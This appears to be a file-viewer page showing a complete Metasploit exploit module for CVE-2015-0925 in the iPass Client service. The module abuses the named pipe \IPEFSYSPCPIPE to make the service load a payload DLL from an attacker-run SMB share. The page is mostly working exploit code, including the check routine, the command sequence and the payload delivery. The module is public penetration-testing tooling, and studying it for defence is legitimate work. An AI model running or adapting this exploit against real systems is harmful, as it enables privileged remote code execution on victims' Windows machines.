Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smb/ipass_pipe_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::SMB::Client::Authenticated9include Msf::Exploit::Remote::SMB::Server::Share10include Msf::Exploit::EXE1112def initialize(info = {})13super(update_info(info,14'Name' => 'IPass Control Pipe Remote Command Execution',15'Description' => %q{16This module exploits a vulnerability in the IPass Client service. This service provides a17named pipe which can be accessed by the user group BUILTIN\Users. This pipe can be abused18to force the service to load a DLL from a SMB share.19},20'Author' =>21[22'Matthias Kaiser', # Vulnerability discovery23'h0ng10 <info[at]mogwaisecurity.de>', # Metasploit Module24],25'License' => MSF_LICENSE,26'References' =>27[28[ 'CVE', '2015-0925' ],29[ 'OSVDB', '117423' ],30[ 'BID', '72265' ],31[ 'URL', 'http://codewhitesec.blogspot.de/2015/02/how-i-could-ipass-your-client-security.html' ],32],33'DefaultOptions' =>34{35'EXITFUNC' => 'process',36},37'Payload' =>38{39'Space' => 2048,40'DisableNops' => true41},42'Platform' => 'win',43'Targets' =>44[45[ 'Windows x32', { 'Arch' => ARCH_X86 } ],46[ 'Windows x64', { 'Arch' => ARCH_X64 } ]47],48'Privileged' => true,49'DisclosureDate' => '2015-01-21',50'DefaultTarget' => 0))5152register_options(53[54OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])55])5657deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME')58end5960def check61echo_value = rand_text_alphanumeric(rand(10) + 10)6263begin64response = send_command("System.Echo #{echo_value}")65if response =~ Regexp.new(echo_value)66return Exploit::CheckCode::Vulnerable67else68return Exploit::CheckCode::Unknown69end70rescue Rex::ConnectionError => e71vprint_error("Connection failed: #{e.class}: #{e}")72return Msf::Exploit::CheckCode::Unknown73rescue Rex::Proto::SMB::Exceptions::LoginError => e74vprint_error("Error during login: #{e}")75return Msf::Exploit::CheckCode::Unknown76rescue Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e77vprint_error(e.to_s)78return Msf::Exploit::CheckCode::Unknown79end80end8182def setup83super84self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll"85self.share = Rex::Text.rand_text_alpha(5)86end8788def primer89self.file_contents = generate_payload_dll90print_status("File available on #{unc}...")91send_command("iPass.SWUpdateAssist.RegisterCOM #{unc}")92end9394def send_command(command)95# The connection is closed after each command, so we have to reopen it96connect97smb_login98pipe = simple.create_pipe('\\IPEFSYSPCPIPE')99pipe.write(Rex::Text.to_unicode(command))100response = Rex::Text.to_ascii(pipe.read)101102response103end104105106def exploit107begin108Timeout.timeout(datastore['SMB_DELAY']) { super }109rescue Timeout::Error110# do nothing... just finish exploit and stop smb server...111end112end113end114115116